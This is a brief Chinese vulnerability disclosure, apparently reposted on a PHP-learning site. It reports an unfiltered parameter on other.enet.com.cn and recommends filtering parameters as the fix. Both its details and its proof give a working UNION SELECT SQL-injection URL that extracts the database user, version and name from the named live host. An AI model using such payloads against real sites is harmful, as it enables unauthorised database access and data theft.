来源:自学PHP网 时间:2015-04-17 14:46 作者: 阅读:次
[导读] 简要描述:由于程序员代码编写的疏忽 ,对部分提交的参数未过滤详细说明:http://other.enet.com.cn/zwds/csym_show.jsp?id=-359%20and%201=11%20union%20select%20user(),2,3,4,5,@@version,database(),8,conn......
简要描述:由于程序员代码编写的疏忽 ,对部分提交的参数未过滤
详细说明: http://other.enet.com.cn/zwds/csym_show.jsp?id=-359%20and%201=11%20union%20select%20user(),2,3,4,5,@@version,database(),8,conn,10,11,12,13,14,15,16,17,18 漏洞证明:
http://other.enet.com.cn/zwds/csym_show.jsp?id=-359%20and%201=11%20union%20select%20user(),2,3,4,5,@@version,database(),8,conn,10,11,12,13,14,15,16,17,18 修复方案:对提交的相关参数过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com